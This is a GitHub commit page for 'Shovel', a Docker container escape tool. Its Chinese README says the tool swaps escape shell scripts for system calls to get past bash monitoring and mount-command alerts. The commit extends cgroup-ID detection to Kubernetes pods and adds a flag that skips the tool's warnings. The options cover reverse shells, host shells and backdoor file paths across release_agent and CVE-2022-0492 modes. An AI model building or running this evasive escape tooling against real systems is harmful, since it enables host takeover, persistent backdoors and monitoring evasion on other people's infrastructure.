Skip to content

Commit

Permalink
fix identifying k8s environment error and add assumeyes option to ski…
Browse files Browse the repository at this point in the history
…p interaction
  • Loading branch information
taoqi committed Aug 3, 2022
1 parent bd9d8e8 commit ddfbee1
Show file tree
Hide file tree
Showing 5 changed files with 35 additions and 20 deletions.
12 changes: 10 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,15 @@

Docker容器逃逸工具

原理上就是逃逸的那一堆shell脚本,换成系统调用,绕过bash的监控
1、通过mount命令逃逸触发告警?

2、unshare命令发现没有-C参数?

3、机器上没有各种语言的执行环境?

4、逃逸程序太大不好下载?

遇到以上问题那就用下这个程序吧,原理上就是逃逸的那一堆shell脚本,换成系统调用,绕过bash的监控

![](./img/shovel.gif)

Expand Down Expand Up @@ -52,7 +60,7 @@ Options of other
-I, --ip set ip address in reverse mode
-P, --port set port in reverse mode
-B, --backdoor_path set backdoor file path
-y, --assumeyes automatically answer yes for all questions
Mode (-m) type guide
exec: run a single command and return the result
shell: get host shell in current console
Expand Down
6 changes: 3 additions & 3 deletions docker/cgroup.c
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,10 @@

int get_cgroup_id(char *cgroup_id) {
char *cgroup_path = "/proc/1/cgroup";
char *cgroup_data = (char *) malloc(1024 * 10 * sizeof(char));
memset(cgroup_data, 0x00, 1024 * 10);
char *cgroup_data = (char *) malloc(1024 * 100 * sizeof(char));
memset(cgroup_data, 0x00, 1024 * 100);
read_file(cgroup_path, cgroup_data, O_RDONLY);
regex_util(cgroup_data,
"\\d+?:[a-zA-Z0-9]*?:(/docker/[a-zA-Z0-9]{64})|(/kubepods\\.slice/kubepods-burstable\\.slice/kubepods-burstable-pod[a-zA-Z0-9_]*?\\.slice/docker-[a-zA-Z0-9]{64}\\.scope)",
"\\d+?:[a-zA-Z0-9]*?:(/docker/[a-zA-Z0-9]{64}|/kubepods\\.slice/kubepods-burstable\\.slice/kubepods-burstable-pod[a-zA-Z0-9-]+?\\.slice/docker-[a-zA-Z0-9]{64}\\.scope|/kubepods/burstable/pod[a-zA-Z0-9-]+?/[a-zA-Z0-9]{64})",
cgroup_id);
}
33 changes: 20 additions & 13 deletions main.c
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,11 @@ int main(int argc, char *argv[]) {
{"command", required_argument, NULL, 'c'},
{"ip", required_argument, NULL, 'I'},
{"port", required_argument, NULL, 'P'},
{"backdoor_path", required_argument, NULL, 'B'}
{"backdoor_path", required_argument, NULL, 'B'},
{"assumeyes", no_argument, NULL, 'y'}
};
int opt;
int assumeyes = 0;
attack_info.attack_mode = -1;
attack_info.attack_type = -1;
attack_info.command = (char *) malloc(512 * sizeof(char));
Expand All @@ -68,7 +70,7 @@ int main(int argc, char *argv[]) {
memset(attack_info.ip, 0x00, 64);
memset(attack_info.ip, 0x00, 512);
memset(attack_info.port, 0x00, 10);
const char *opt_type = "hvrdup:m:c:I:P:B:";
const char *opt_type = "hvrduyp:m:c:I:P:B:";
while ((opt = getopt_long_only(argc, argv, opt_type, opts, NULL)) != -1) {
switch (opt) {
case 'h':
Expand Down Expand Up @@ -113,22 +115,27 @@ int main(int argc, char *argv[]) {
attack_info.attack_type = CVE_2022_0492;
attack_info.attack_mode = SHELL;
break;
case 'y':
assumeyes = 1;
break;
default:
usage(argv[0]);
break;
}
}
if (attack_info.attack_type == RELEASE_AGENT) {
if (attack_info.attack_mode == EXEC) {
output_bash_warning("release_agent", "exec");
} else if (attack_info.attack_mode == SHELL) {
output_bash_warning("release_agent", "shell");
} else if (attack_info.attack_mode == REVERSE) {
output_bash_warning("release_agent", "reverse");
}
} else if (attack_info.attack_type == DEVICE_ALLOW) {
if (attack_info.attack_mode == REVERSE) {
output_bash_warning("device_allow", "reverse");
if (assumeyes != 1) {
if (attack_info.attack_type == RELEASE_AGENT) {
if (attack_info.attack_mode == EXEC) {
output_bash_warning("release_agent", "exec");
} else if (attack_info.attack_mode == SHELL) {
output_bash_warning("release_agent", "shell");
} else if (attack_info.attack_mode == REVERSE) {
output_bash_warning("release_agent", "reverse");
}
} else if (attack_info.attack_type == DEVICE_ALLOW) {
if (attack_info.attack_mode == REVERSE) {
output_bash_warning("device_allow", "reverse");
}
}
}
if (attack_info.attack_type == -1 || attack_info.attack_mode == -1) {
Expand Down
3 changes: 2 additions & 1 deletion util/program_info.c
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
#include <stdlib.h>

#define PROGRAM_NAME "Shovel"
#define VERSION "1.0"
#define VERSION "1.1"


void usage(char *args0) {
Expand All @@ -29,6 +29,7 @@ void usage(char *args0) {
" -I, --ip set ip address in reverse mode\n"
" -P, --port set port in reverse mode\n"
" -B, --backdoor_path set backdoor file path\n"
" -y, --assumeyes automatically answer yes for all questions"
"\n"
"Mode (-m) type guide\n"
" exec: run a single command and return the result\n"
Expand Down
1 change: 0 additions & 1 deletion util/regex_util.c
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,6 @@ void regex_util(char *src, char *reg, char *result) {
strcpy(cursorCopy, src);
cursorCopy[match_char[1].rm_eo] = 0;
strcpy(result, cursorCopy + match_char[1].rm_so);

}
} else if (match_result == REG_NOMATCH) {
} else {
Expand Down

0 comments on commit ddfbee1

Please sign in to comment.